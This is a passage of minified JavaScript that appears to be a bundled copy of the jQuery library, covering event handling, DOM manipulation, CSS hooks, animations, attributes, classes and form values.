                    data: i,
                    handler: t,
                    guid: t.guid,
                    selector: r,
                    needsContext: r && oA.expr.match.needsContext.test(r),
                    namespace: h.join(".")
                }, o), (B = a[g]) || (B = a[g] = [], B.delegateCount = 0, c.setup && !1 !== c.setup.call(A, i, h, n) || A.addEventListener && A.addEventListener(g, n)), c.add && (c.add.call(A, l), l.handler.guid || (l.handler.guid = t.guid)), r ? B.splice(B.delegateCount++, 0, l) : B.push(l), oA.event.global[g] = !0)
        },
        remove: function(A, e, t, i, r) {
            var o, n, s, a, I, l, c, B, g, h, E, u = DA.hasData(A) && DA.get(A);
            if (u && (a = u.events)) {
                for (e = (e || "").match(SA) || [""], I = e.length; I--;)
                    if (s = YA.exec(e[I]) || [], g = E = s[1], h = (s[2] || "").split(".").sort(), g) {
                        for (c = oA.event.special[g] || {}, g = (i ? c.delegateType : c.bindType) || g, B = a[g] || [], s = s[2] && new RegExp("(^|\\.)" + h.join("\\.(?:.*\\.|)") + "(\\.|$)"), n = o = B.length; o--;) l = B[o], !r && E !== l.origType || t && t.guid !== l.guid || s && !s.test(l.namespace) || i && i !== l.selector && ("**" !== i || !l.selector) || (B.splice(o, 1), l.selector && B.delegateCount--, c.remove && c.remove.call(A, l));
                        n && !B.length && (c.teardown && !1 !== c.teardown.call(A, h, u.handle) || oA.removeEvent(A, g, u.handle), delete a[g])
                    } else
                        for (g in a) oA.event.remove(A, g + e[I], t, i, !0);
                oA.isEmptyObject(a) && DA.remove(A, "handle events")
            }
        },
        dispatch: function(A) {
            A = oA.event.fix(A);
            var e, t, i, r, o, n = [],
                s = K.call(arguments),
                a = (DA.get(this, "events") || {})[A.type] || [],
                I = oA.event.special[A.type] || {};
            if (s[0] = A, A.delegateTarget = this, !I.preDispatch || !1 !== I.preDispatch.call(this, A)) {
                for (n = oA.event.handlers.call(this, A, a), e = 0;
                    (r = n[e++]) && !A.isPropagationStopped();)
                    for (A.currentTarget = r.elem, t = 0;
                        (o = r.handlers[t++]) && !A.isImmediatePropagationStopped();) A.rnamespace && !A.rnamespace.test(o.namespace) || (A.handleObj = o, A.data = o.data, void 0 !== (i = ((oA.event.special[o.origType] || {}).handle || o.handler).apply(r.elem, s)) && !1 === (A.result = i) && (A.preventDefault(), A.stopPropagation()));
                return I.postDispatch && I.postDispatch.call(this, A), A.result
            }
        },
        handlers: function(A, e) {
            var t, i, r, o, n = [],
                s = e.delegateCount,
                a = A.target;
            if (s && a.nodeType && ("click" !== A.type || isNaN(A.button) || A.button < 1))
                for (; a !== this; a = a.parentNode || this)
                    if (1 === a.nodeType && (!0 !== a.disabled || "click" !== A.type)) {
                        for (i = [], t = 0; s > t; t++) o = e[t], r = o.selector + " ", void 0 === i[r] && (i[r] = o.needsContext ? oA(r, this).index(a) > -1 : oA.find(r, this, null, [a]).length), i[r] && i.push(o);
                        i.length && n.push({
                            elem: a,
                            handlers: i
                        })
                    }
            return s < e.length && n.push({
                elem: this,
                handlers: e.slice(s)
            }), n
        },
        props: "altKey bubbles cancelable ctrlKey currentTarget detail eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
        fixHooks: {},
        keyHooks: {
            props: "char charCode key keyCode".split(" "),
            filter: function(A, e) {
                return null == A.which && (A.which = null != e.charCode ? e.charCode : e.keyCode), A
            }
        },
        mouseHooks: {
            props: "button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
            filter: function(A, e) {
                var t, i, r, o = e.button;
                return null == A.pageX && null != e.clientX && (t = A.target.ownerDocument || W, i = t.documentElement, r = t.body, A.pageX = e.clientX + (i && i.scrollLeft || r && r.scrollLeft || 0) - (i && i.clientLeft || r && r.clientLeft || 0), A.pageY = e.clientY + (i && i.scrollTop || r && r.scrollTop || 0) - (i && i.clientTop || r && r.clientTop || 0)), A.which || void 0 === o || (A.which = 1 & o ? 1 : 2 & o ? 3 : 4 & o ? 2 : 0), A
            }
        },
        fix: function(A) {
            if (A[oA.expando]) return A;
            var e, t, i, r = A.type,
                o = A,
                n = this.fixHooks[r];
            for (n || (this.fixHooks[r] = n = RA.test(r) ? this.mouseHooks : bA.test(r) ? this.keyHooks : {}), i = n.props ? this.props.concat(n.props) : this.props, A = new oA.Event(o), e = i.length; e--;) t = i[e], A[t] = o[t];
            return A.target || (A.target = W), 3 === A.target.nodeType && (A.target = A.target.parentNode), n.filter ? n.filter(A, o) : A
        },
        special: {
            load: {
                noBubble: !0
            },
            focus: {
                trigger: function() {
                    return this !== E() && this.focus ? (this.focus(), !1) : void 0
                },
                delegateType: "focusin"
            },
            blur: {
                trigger: function() {
                    return this === E() && this.blur ? (this.blur(), !1) : void 0
                },
                delegateType: "focusout"
            },
            click: {
                trigger: function() {
                    return "checkbox" === this.type && this.click && oA.nodeName(this, "input") ? (this.click(), !1) : void 0
                },
                _default: function(A) {
                    return oA.nodeName(A.target, "a")
                }
            },
            beforeunload: {
                postDispatch: function(A) {
                    void 0 !== A.result && A.originalEvent && (A.originalEvent.returnValue = A.result)
                }
            }
        }
    }, oA.removeEvent = function(A, e, t) {
        A.removeEventListener && A.removeEventListener(e, t)
    }, oA.Event = function(A, e) {
        return this instanceof oA.Event ? (A && A.type ? (this.originalEvent = A, this.type = A.type, this.isDefaultPrevented = A.defaultPrevented || void 0 === A.defaultPrevented && !1 === A.returnValue ? g : h) : this.type = A, e && oA.extend(this, e), this.timeStamp = A && A.timeStamp || oA.now(), void(this[oA.expando] = !0)) : new oA.Event(A, e)
    }, oA.Event.prototype = {
        constructor: oA.Event,
        isDefaultPrevented: h,
        isPropagationStopped: h,
        isImmediatePropagationStopped: h,
        isSimulated: !1,
        preventDefault: function() {
            var A = this.originalEvent;
            this.isDefaultPrevented = g, A && !this.isSimulated && A.preventDefault()
        },
        stopPropagation: function() {
            var A = this.originalEvent;
            this.isPropagationStopped = g, A && !this.isSimulated && A.stopPropagation()
        },
        stopImmediatePropagation: function() {
            var A = this.originalEvent;
            this.isImmediatePropagationStopped = g, A && !this.isSimulated && A.stopImmediatePropagation(), this.stopPropagation()
        }
    }, oA.each({
        mouseenter: "mouseover",
        mouseleave: "mouseout",
        pointerenter: "pointerover",
        pointerleave: "pointerout"
    }, function(A, e) {
        oA.event.special[A] = {
            delegateType: e,
            bindType: e,
            handle: function(A) {
                var t, i = this,
                    r = A.relatedTarget,
                    o = A.handleObj;
                return r && (r === i || oA.contains(i, r)) || (A.type = o.origType, t = o.handler.apply(this, arguments), A.type = e), t
            }
        }
    }), oA.fn.extend({
        on: function(A, e, t, i) {
            return u(this, A, e, t, i)
        },
        one: function(A, e, t, i) {
            return u(this, A, e, t, i, 1)
        },
        off: function(A, e, t) {
            var i, r;
            if (A && A.preventDefault && A.handleObj) return i = A.handleObj, oA(A.delegateTarget).off(i.namespace ? i.origType + "." + i.namespace : i.origType, i.selector, i.handler), this;
            if ("object" == typeof A) {
                for (r in A) this.off(r, e, A[r]);
                return this
            }
            return !1 !== e && "function" != typeof e || (t = e, e = void 0), !1 === t && (t = h), this.each(function() {
                oA.event.remove(this, A, t, e)
            })
        }
    });
    var xA = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,
        zA = /<script|<style|<link/i,
        GA = /checked\s*(?:[^=]|=\s*.checked.)/i,
        TA = /^true\/(.*)/,
        XA = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;
    oA.extend({
        htmlPrefilter: function(A) {
            return A.replace(xA, "<$1></$2>")
        },
        clone: function(A, e, t) {
            var i, r, o, n, s = A.cloneNode(!0),
                a = oA.contains(A.ownerDocument, A);
            if (!(iA.noCloneChecked || 1 !== A.nodeType && 11 !== A.nodeType || oA.isXMLDoc(A)))
                for (n = l(s), o = l(A), i = 0, r = o.length; r > i; i++) w(o[i], n[i]);
            if (e)
                if (t)
                    for (o = o || l(A), n = n || l(s), i = 0, r = o.length; r > i; i++) S(o[i], n[i]);
                else S(A, s);
            return n = l(s, "script"), n.length > 0 && c(n, !a && l(A, "script")), s
        },
        cleanData: function(A) {
            for (var e, t, i, r = oA.event.special, o = 0; void 0 !== (t = A[o]); o++)
                if (CA(t)) {
                    if (e = t[DA.expando]) {
                        if (e.events)
                            for (i in e.events) r[i] ? oA.event.remove(t, i) : oA.removeEvent(t, i, e.handle);
                        t[DA.expando] = void 0
                    }
                    t[vA.expando] && (t[vA.expando] = void 0)
                }
        }
    }), oA.fn.extend({
        domManip: p,
        detach: function(A) {
            return C(this, A, !0)
        },
        remove: function(A) {
            return C(this, A)
        },
        text: function(A) {
            return pA(this, function(A) {
                return void 0 === A ? oA.text(this) : this.empty().each(function() {
                    1 !== this.nodeType && 11 !== this.nodeType && 9 !== this.nodeType || (this.textContent = A)
                })
            }, null, A, arguments.length)
        },
        append: function() {
            return p(this, arguments, function(A) {
                if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) {
                    Q(this, A).appendChild(A)
                }
            })
        },
        prepend: function() {
            return p(this, arguments, function(A) {
                if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) {
                    var e = Q(this, A);
                    e.insertBefore(A, e.firstChild)
                }
            })
        },
        before: function() {
            return p(this, arguments, function(A) {
                this.parentNode && this.parentNode.insertBefore(A, this)
            })
        },
        after: function() {
            return p(this, arguments, function(A) {
                this.parentNode && this.parentNode.insertBefore(A, this.nextSibling)
            })
        },
        empty: function() {
            for (var A, e = 0; null != (A = this[e]); e++) 1 === A.nodeType && (oA.cleanData(l(A, !1)), A.textContent = "");
            return this
        },
        clone: function(A, e) {
            return A = null != A && A, e = null == e ? A : e, this.map(function() {
                return oA.clone(this, A, e)
            })
        },
        html: function(A) {
            return pA(this, function(A) {
                var e = this[0] || {},
                    t = 0,
                    i = this.length;
                if (void 0 === A && 1 === e.nodeType) return e.innerHTML;
                if ("string" == typeof A && !zA.test(A) && !NA[(JA.exec(A) || ["", ""])[1].toLowerCase()]) {
                    A = oA.htmlPrefilter(A);
                    try {
                        for (; i > t; t++) e = this[t] || {}, 1 === e.nodeType && (oA.cleanData(l(e, !1)), e.innerHTML = A);
                        e = 0
                    } catch (A) {}
                }
                e && this.empty().append(A)
            }, null, A, arguments.length)
        },
        replaceWith: function() {
            var A = [];
            return p(this, arguments, function(e) {
                var t = this.parentNode;
                oA.inArray(this, A) < 0 && (oA.cleanData(l(this)), t && t.replaceChild(e, this))
            }, A)
        }
    }), oA.each({
        appendTo: "append",
        prependTo: "prepend",
        insertBefore: "before",
        insertAfter: "after",
        replaceAll: "replaceWith"
    }, function(A, e) {
        oA.fn[A] = function(A) {
            for (var t, i = [], r = oA(A), o = r.length - 1, n = 0; o >= n; n++) t = n === o ? this : this.clone(!0), oA(r[n])[e](t), q.apply(i, t.get());
            return this.pushStack(i)
        }
    });
    var HA, VA = {
            HTML: "block",
            BODY: "block"
        },
        OA = /^margin/,
        ZA = new RegExp("^(" + PA + ")(?!px)[a-z%]+$", "i"),
        WA = function(e) {
            var t = e.ownerDocument.defaultView;
            return t && t.opener || (t = A), t.getComputedStyle(e)
        },
        KA = function(A, e, t, i) {
            var r, o, n = {};
            for (o in e) n[o] = A.style[o], A.style[o] = e[o];
            r = t.apply(A, i || []);
            for (o in e) A.style[o] = n[o];
            return r
        },
        _A = W.documentElement;
    ! function() {
        function e() {
            s.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%", s.innerHTML = "", _A.appendChild(n);
            var e = A.getComputedStyle(s);
            t = "1%" !== e.top, o = "2px" === e.marginLeft, i = "4px" === e.width, s.style.marginRight = "50%", r = "4px" === e.marginRight, _A.removeChild(n)
        }
        var t, i, r, o, n = W.createElement("div"),
            s = W.createElement("div");
        s.style && (s.style.backgroundClip = "content-box", s.cloneNode(!0).style.backgroundClip = "", iA.clearCloneStyle = "content-box" === s.style.backgroundClip, n.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute", n.appendChild(s), oA.extend(iA, {
            pixelPosition: function() {
                return e(), t
            },
            boxSizingReliable: function() {
                return null == i && e(), i
            },
            pixelMarginRight: function() {
                return null == i && e(), r
            },
            reliableMarginLeft: function() {
                return null == i && e(), o
            },
            reliableMarginRight: function() {
                var e, t = s.appendChild(W.createElement("div"));
                return t.style.cssText = s.style.cssText = "-webkit-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0", t.style.marginRight = t.style.width = "0", s.style.width = "1px", _A.appendChild(n), e = !parseFloat(A.getComputedStyle(t).marginRight), _A.removeChild(n), s.removeChild(t), e
            }
        }))
    }();
    var qA = /^(none|table(?!-c[ea]).+)/,
        $A = {
            position: "absolute",
            visibility: "hidden",
            display: "block"
        },
        Ae = {
            letterSpacing: "0",
            fontWeight: "400"
        },
        ee = ["Webkit", "O", "Moz", "ms"],
        te = W.createElement("div").style;
    oA.extend({
        cssHooks: {
            opacity: {
                get: function(A, e) {
                    if (e) {
                        var t = m(A, "opacity");
                        return "" === t ? "1" : t
                    }
                }
            }
        },
        cssNumber: {
            animationIterationCount: !0,
            columnCount: !0,
            fillOpacity: !0,
            flexGrow: !0,
            flexShrink: !0,
            fontWeight: !0,
            lineHeight: !0,
            opacity: !0,
            order: !0,
            orphans: !0,
            widows: !0,
            zIndex: !0,
            zoom: !0
        },
        cssProps: {
            float: "cssFloat"
        },
        style: function(A, e, t, i) {
            if (A && 3 !== A.nodeType && 8 !== A.nodeType && A.style) {
                var r, o, n, s = oA.camelCase(e),
                    a = A.style;
                return e = oA.cssProps[s] || (oA.cssProps[s] = P(s) || s), n = oA.cssHooks[e] || oA.cssHooks[s], void 0 === t ? n && "get" in n && void 0 !== (r = n.get(A, !1, i)) ? r : a[e] : (o = typeof t, "string" === o && (r = yA.exec(t)) && r[1] && (t = I(A, e, r), o = "number"), void(null != t && t === t && ("number" === o && (t += r && r[3] || (oA.cssNumber[s] ? "" : "px")), iA.clearCloneStyle || "" !== t || 0 !== e.indexOf("background") || (a[e] = "inherit"), n && "set" in n && void 0 === (t = n.set(A, t, i)) || (a[e] = t))))
            }
        },
        css: function(A, e, t, i) {
            var r, o, n, s = oA.camelCase(e);
            return e = oA.cssProps[s] || (oA.cssProps[s] = P(s) || s), n = oA.cssHooks[e] || oA.cssHooks[s], n && "get" in n && (r = n.get(A, !0, t)), void 0 === r && (r = m(A, e, i)), "normal" === r && e in Ae && (r = Ae[e]), "" === t || t ? (o = parseFloat(r), !0 === t || isFinite(o) ? o || 0 : r) : r
        }
    }), oA.each(["height", "width"], function(A, e) {
        oA.cssHooks[e] = {
            get: function(A, t, i) {
                return t ? qA.test(oA.css(A, "display")) && 0 === A.offsetWidth ? KA(A, $A, function() {
                    return L(A, e, i)
                }) : L(A, e, i) : void 0
            },
            set: function(A, t, i) {
                var r, o = i && WA(A),
                    n = i && F(A, e, i, "border-box" === oA.css(A, "boxSizing", !1, o), o);
                return n && (r = yA.exec(t)) && "px" !== (r[3] || "px") && (A.style[e] = t, t = oA.css(A, e)), y(A, t, n)
            }
        }
    }), oA.cssHooks.marginLeft = M(iA.reliableMarginLeft, function(A, e) {
        return e ? (parseFloat(m(A, "marginLeft")) || A.getBoundingClientRect().left - KA(A, {
            marginLeft: 0
        }, function() {
            return A.getBoundingClientRect().left
        })) + "px" : void 0
    }), oA.cssHooks.marginRight = M(iA.reliableMarginRight, function(A, e) {
        return e ? KA(A, {
            display: "inline-block"
        }, m, [A, "marginRight"]) : void 0
    }), oA.each({
        margin: "",
        padding: "",
        border: "Width"
    }, function(A, e) {
        oA.cssHooks[A + e] = {
            expand: function(t) {
                for (var i = 0, r = {}, o = "string" == typeof t ? t.split(" ") : [t]; 4 > i; i++) r[A + FA[i] + e] = o[i] || o[i - 2] || o[0];
                return r
            }
        }, OA.test(A) || (oA.cssHooks[A + e].set = y)
    }), oA.fn.extend({
        css: function(A, e) {
            return pA(this, function(A, e, t) {
                var i, r, o = {},
                    n = 0;
                if (oA.isArray(e)) {
                    for (i = WA(A), r = e.length; r > n; n++) o[e[n]] = oA.css(A, e[n], !1, i);
                    return o
                }
                return void 0 !== t ? oA.style(A, e, t) : oA.css(A, e)
            }, A, e, arguments.length > 1)
        },
        show: function() {
            return k(this, !0)
        },
        hide: function() {
            return k(this)
        },
        toggle: function(A) {
            return "boolean" == typeof A ? A ? this.show() : this.hide() : this.each(function() {
                LA(this) ? oA(this).show() : oA(this).hide()
            })
        }
    }), oA.Tween = J, J.prototype = {
        constructor: J,
        init: function(A, e, t, i, r, o) {
            this.elem = A, this.prop = t, this.easing = r || oA.easing._default, this.options = e, this.start = this.now = this.cur(), this.end = i, this.unit = o || (oA.cssNumber[t] ? "" : "px")
        },
        cur: function() {
            var A = J.propHooks[this.prop];
            return A && A.get ? A.get(this) : J.propHooks._default.get(this)
        },
        run: function(A) {
            var e, t = J.propHooks[this.prop];
            return this.options.duration ? this.pos = e = oA.easing[this.easing](A, this.options.duration * A, 0, 1, this.options.duration) : this.pos = e = A, this.now = (this.end - this.start) * e + this.start, this.options.step && this.options.step.call(this.elem, this.now, this), t && t.set ? t.set(this) : J.propHooks._default.set(this), this
        }
    }, J.prototype.init.prototype = J.prototype, J.propHooks = {
        _default: {
            get: function(A) {
                var e;
                return 1 !== A.elem.nodeType || null != A.elem[A.prop] && null == A.elem.style[A.prop] ? A.elem[A.prop] : (e = oA.css(A.elem, A.prop, ""), e && "auto" !== e ? e : 0)
            },
            set: function(A) {
                oA.fx.step[A.prop] ? oA.fx.step[A.prop](A) : 1 !== A.elem.nodeType || null == A.elem.style[oA.cssProps[A.prop]] && !oA.cssHooks[A.prop] ? A.elem[A.prop] = A.now : oA.style(A.elem, A.prop, A.now + A.unit)
            }
        }
    }, J.propHooks.scrollTop = J.propHooks.scrollLeft = {
        set: function(A) {
            A.elem.nodeType && A.elem.parentNode && (A.elem[A.prop] = A.now)
        }
    }, oA.easing = {
        linear: function(A) {
            return A
        },
        swing: function(A) {
            return .5 - Math.cos(A * Math.PI) / 2
        },
        _default: "swing"
    }, oA.fx = J.prototype.init, oA.fx.step = {};
    var ie, re, oe = /^(?:toggle|show|hide)$/,
        ne = /queueHooks$/;
    oA.Animation = oA.extend(Y, {
            tweeners: {
                "*": [function(A, e) {
                    var t = this.createTween(A, e);
                    return I(t.elem, A, yA.exec(e), t), t
                }]
            },
            tweener: function(A, e) {
                oA.isFunction(A) ? (e = A, A = ["*"]) : A = A.match(SA);
                for (var t, i = 0, r = A.length; r > i; i++) t = A[i], Y.tweeners[t] = Y.tweeners[t] || [], Y.tweeners[t].unshift(e)
            },
            prefilters: [b],
            prefilter: function(A, e) {
                e ? Y.prefilters.unshift(A) : Y.prefilters.push(A)
            }
        }), oA.speed = function(A, e, t) {
            var i = A && "object" == typeof A ? oA.extend({}, A) : {
                complete: t || !t && e || oA.isFunction(A) && A,
                duration: A,
                easing: t && e || e && !oA.isFunction(e) && e
            };
            return i.duration = oA.fx.off ? 0 : "number" == typeof i.duration ? i.duration : i.duration in oA.fx.speeds ? oA.fx.speeds[i.duration] : oA.fx.speeds._default, null != i.queue && !0 !== i.queue || (i.queue = "fx"), i.old = i.complete, i.complete = function() {
                oA.isFunction(i.old) && i.old.call(this), i.queue && oA.dequeue(this, i.queue)
            }, i
        }, oA.fn.extend({
            fadeTo: function(A, e, t, i) {
                return this.filter(LA).css("opacity", 0).show().end().animate({
                    opacity: e
                }, A, t, i)
            },
            animate: function(A, e, t, i) {
                var r = oA.isEmptyObject(A),
                    o = oA.speed(e, t, i),
                    n = function() {
                        var e = Y(this, oA.extend({}, A), o);
                        (r || DA.get(this, "finish")) && e.stop(!0)
                    };
                return n.finish = n, r || !1 === o.queue ? this.each(n) : this.queue(o.queue, n)
            },
            stop: function(A, e, t) {
                var i = function(A) {
                    var e = A.stop;
                    delete A.stop, e(t)
                };
                return "string" != typeof A && (t = e, e = A, A = void 0), e && !1 !== A && this.queue(A || "fx", []), this.each(function() {
                    var e = !0,
                        r = null != A && A + "queueHooks",
                        o = oA.timers,
                        n = DA.get(this);
                    if (r) n[r] && n[r].stop && i(n[r]);
                    else
                        for (r in n) n[r] && n[r].stop && ne.test(r) && i(n[r]);
                    for (r = o.length; r--;) o[r].elem !== this || null != A && o[r].queue !== A || (o[r].anim.stop(t), e = !1, o.splice(r, 1));
                    !e && t || oA.dequeue(this, A)
                })
            },
            finish: function(A) {
                return !1 !== A && (A = A || "fx"), this.each(function() {
                    var e, t = DA.get(this),
                        i = t[A + "queue"],
                        r = t[A + "queueHooks"],
                        o = oA.timers,
                        n = i ? i.length : 0;
                    for (t.finish = !0, oA.queue(this, A, []), r && r.stop && r.stop.call(this, !0), e = o.length; e--;) o[e].elem === this && o[e].queue === A && (o[e].anim.stop(!0), o.splice(e, 1));
                    for (e = 0; n > e; e++) i[e] && i[e].finish && i[e].finish.call(this);
                    delete t.finish
                })
            }
        }), oA.each(["toggle", "show", "hide"], function(A, e) {
            var t = oA.fn[e];
            oA.fn[e] = function(A, i, r) {
                return null == A || "boolean" == typeof A ? t.apply(this, arguments) : this.animate(N(e, !0), A, i, r)
            }
        }), oA.each({
            slideDown: N("show"),
            slideUp: N("hide"),
            slideToggle: N("toggle"),
            fadeIn: {
                opacity: "show"
            },
            fadeOut: {
                opacity: "hide"
            },
            fadeToggle: {
                opacity: "toggle"
            }
        }, function(A, e) {
            oA.fn[A] = function(A, t, i) {
                return this.animate(e, A, t, i)
            }
        }), oA.timers = [], oA.fx.tick = function() {
            var A, e = 0,
                t = oA.timers;
            for (ie = oA.now(); e < t.length; e++)(A = t[e])() || t[e] !== A || t.splice(e--, 1);
            t.length || oA.fx.stop(), ie = void 0
        }, oA.fx.timer = function(A) {
            oA.timers.push(A), A() ? oA.fx.start() : oA.timers.pop()
        }, oA.fx.interval = 13, oA.fx.start = function() {
            re || (re = A.setInterval(oA.fx.tick, oA.fx.interval))
        }, oA.fx.stop = function() {
            A.clearInterval(re), re = null
        }, oA.fx.speeds = {
            slow: 600,
            fast: 200,
            _default: 400
        }, oA.fn.delay = function(e, t) {
            return e = oA.fx ? oA.fx.speeds[e] || e : e, t = t || "fx", this.queue(t, function(t, i) {
                var r = A.setTimeout(t, e);
                i.stop = function() {
                    A.clearTimeout(r)
                }
            })
        },
        function() {
            var A = W.createElement("input"),
                e = W.createElement("select"),
                t = e.appendChild(W.createElement("option"));
            A.type = "checkbox", iA.checkOn = "" !== A.value, iA.optSelected = t.selected, e.disabled = !0,
                iA.optDisabled = !t.disabled, A = W.createElement("input"), A.value = "t", A.type = "radio", iA.radioValue = "t" === A.value
        }();
    var se, ae = oA.expr.attrHandle;
    oA.fn.extend({
        attr: function(A, e) {
            return pA(this, oA.attr, A, e, arguments.length > 1)
        },
        removeAttr: function(A) {
            return this.each(function() {
                oA.removeAttr(this, A)
            })
        }
    }), oA.extend({
        attr: function(A, e, t) {
            var i, r, o = A.nodeType;
            if (3 !== o && 8 !== o && 2 !== o) return void 0 === A.getAttribute ? oA.prop(A, e, t) : (1 === o && oA.isXMLDoc(A) || (e = e.toLowerCase(), r = oA.attrHooks[e] || (oA.expr.match.bool.test(e) ? se : void 0)), void 0 !== t ? null === t ? void oA.removeAttr(A, e) : r && "set" in r && void 0 !== (i = r.set(A, t, e)) ? i : (A.setAttribute(e, t + ""), t) : r && "get" in r && null !== (i = r.get(A, e)) ? i : (i = oA.find.attr(A, e), null == i ? void 0 : i))
        },
        attrHooks: {
            type: {
                set: function(A, e) {
                    if (!iA.radioValue && "radio" === e && oA.nodeName(A, "input")) {
                        var t = A.value;
                        return A.setAttribute("type", e), t && (A.value = t), e
                    }
                }
            }
        },
        removeAttr: function(A, e) {
            var t, i, r = 0,
                o = e && e.match(SA);
            if (o && 1 === A.nodeType)
                for (; t = o[r++];) i = oA.propFix[t] || t, oA.expr.match.bool.test(t) && (A[i] = !1), A.removeAttribute(t)
        }
    }), se = {
        set: function(A, e, t) {
            return !1 === e ? oA.removeAttr(A, t) : A.setAttribute(t, t), t
        }
    }, oA.each(oA.expr.match.bool.source.match(/\w+/g), function(A, e) {
        var t = ae[e] || oA.find.attr;
        ae[e] = function(A, e, i) {
            var r, o;
            return i || (o = ae[e], ae[e] = r, r = null != t(A, e, i) ? e.toLowerCase() : null, ae[e] = o), r
        }
    });
    var Ie = /^(?:input|select|textarea|button)$/i,
        le = /^(?:a|area)$/i;
    oA.fn.extend({
        prop: function(A, e) {
            return pA(this, oA.prop, A, e, arguments.length > 1)
        },
        removeProp: function(A) {
            return this.each(function() {
                delete this[oA.propFix[A] || A]
            })
        }
    }), oA.extend({
        prop: function(A, e, t) {
            var i, r, o = A.nodeType;
            if (3 !== o && 8 !== o && 2 !== o) return 1 === o && oA.isXMLDoc(A) || (e = oA.propFix[e] || e, r = oA.propHooks[e]), void 0 !== t ? r && "set" in r && void 0 !== (i = r.set(A, t, e)) ? i : A[e] = t : r && "get" in r && null !== (i = r.get(A, e)) ? i : A[e]
        },
        propHooks: {
            tabIndex: {
                get: function(A) {
                    var e = oA.find.attr(A, "tabindex");
                    return e ? parseInt(e, 10) : Ie.test(A.nodeName) || le.test(A.nodeName) && A.href ? 0 : -1
                }
            }
        },
        propFix: {
            for: "htmlFor",
            class: "className"
        }
    }), iA.optSelected || (oA.propHooks.selected = {
        get: function(A) {
            var e = A.parentNode;
            return e && e.parentNode && e.parentNode.selectedIndex, null
        },
        set: function(A) {
            var e = A.parentNode;
            e && (e.selectedIndex, e.parentNode && e.parentNode.selectedIndex)
        }
    }), oA.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
        oA.propFix[this.toLowerCase()] = this
    });
    var ce = /[\t\r\n\f]/g;
    oA.fn.extend({
        addClass: function(A) {
            var e, t, i, r, o, n, s, a = 0;
            if (oA.isFunction(A)) return this.each(function(e) {
                oA(this).addClass(A.call(this, e, x(this)))
            });
            if ("string" == typeof A && A)
                for (e = A.match(SA) || []; t = this[a++];)
                    if (r = x(t), i = 1 === t.nodeType && (" " + r + " ").replace(ce, " ")) {
                        for (n = 0; o = e[n++];) i.indexOf(" " + o + " ") < 0 && (i += o + " ");
                        s = oA.trim(i), r !== s && t.setAttribute("class", s)
                    }
            return this
        },
        removeClass: function(A) {
            var e, t, i, r, o, n, s, a = 0;
            if (oA.isFunction(A)) return this.each(function(e) {
                oA(this).removeClass(A.call(this, e, x(this)))
            });
            if (!arguments.length) return this.attr("class", "");
            if ("string" == typeof A && A)
                for (e = A.match(SA) || []; t = this[a++];)
                    if (r = x(t), i = 1 === t.nodeType && (" " + r + " ").replace(ce, " ")) {
                        for (n = 0; o = e[n++];)
                            for (; i.indexOf(" " + o + " ") > -1;) i = i.replace(" " + o + " ", " ");
                        s = oA.trim(i), r !== s && t.setAttribute("class", s)
                    }
            return this
        },
        toggleClass: function(A, e) {
            var t = typeof A;
            return "boolean" == typeof e && "string" === t ? e ? this.addClass(A) : this.removeClass(A) : oA.isFunction(A) ? this.each(function(t) {
                oA(this).toggleClass(A.call(this, t, x(this), e), e)
            }) : this.each(function() {
                var e, i, r, o;
                if ("string" === t)
                    for (i = 0, r = oA(this), o = A.match(SA) || []; e = o[i++];) r.hasClass(e) ? r.removeClass(e) : r.addClass(e);
                else void 0 !== A && "boolean" !== t || (e = x(this), e && DA.set(this, "__className__", e), this.setAttribute && this.setAttribute("class", e || !1 === A ? "" : DA.get(this, "__className__") || ""))
            })
        },
        hasClass: function(A) {
            var e, t, i = 0;
            for (e = " " + A + " "; t = this[i++];)
                if (1 === t.nodeType && (" " + x(t) + " ").replace(ce, " ").indexOf(e) > -1) return !0;
            return !1
        }
    });
    var Be = /\r/g,
        ge = /[\x20\t\r\n\f]+/g;
    oA.fn.extend({
        val: function(A) {
            var e, t, i, r = this[0];
            return arguments.length ? (i = oA.isFunction(A), this.each(function(t) {
                var r;
                1 === this.nodeType && (r = i ? A.call(this, t, oA(this).val()) : A, null == r ? r = "" : "number" == typeof r ? r += "" : oA.isArray(r) && (r = oA.map(r, function(A) {
                    return null == A ? "" : A + ""
                })), (e = oA.valHooks[this.type] || oA.valHooks[this.nodeName.toLowerCase()]) && "set" in e && void 0 !== e.set(this, r, "value") || (this.value = r))
            })) : r ? (e = oA.valHooks[r.type] || oA.valHooks[r.nodeName.toLowerCase()], e && "get" in e && void 0 !== (t = e.get(r, "value")) ? t : (t = r.value, "string" == typeof t ? t.replace(Be, "") : null == t ? "" : t)) : void 0
        }
    }), oA.extend({
        valHooks: {
            option: {
                get: function(A) {
                    var e = oA.find.attr(A, "value");
                    return null != e ? e : oA.trim(oA.text(A)).replace(ge, " ")
                }
            },
            select: {
                get: function(A) {
                    for (var e, t, i = A.options, r = A.selectedIndex, o = "select-one" === A.type || 0 > r, n = o ? null : [], s = o ? r + 1 : i.length, a = 0 > r ? s : o ? r : 0; s > a; a++)
                        if (t = i[a], (t.selected || a === r) && (iA.optDisabled ? !t.disabled : null === t.getAttribute("disabled")) && (!t.parentNode.disabled || !oA.nodeName(t.parentNode, "optgroup"))) {
                            if (e = oA(t).val(), o) return e;
                            n.push(e)
                        }
                    return n
                },
                set: function(A, e) {
                    for (var t, i, r = A.options, o = oA.makeArray(e), n = r.length; n--;) i = r[n], (i.selected = oA.inArray(oA.valHooks.option.get(i), o) > -1) && (t = !0);
                    return t || (A.selectedIndex = -1), o
                }
            }
        }
    }), oA.each(["radio", "checkbox"], function() {
        oA.valHooks[this] = {
            set: function(A, e) {
                return oA.isArray(e) ? A.checked = oA.inArray(oA(A).val(), e) > -1 : void 0
            }
        }, iA.checkOn || (oA.valHooks[this].get = function(A) {
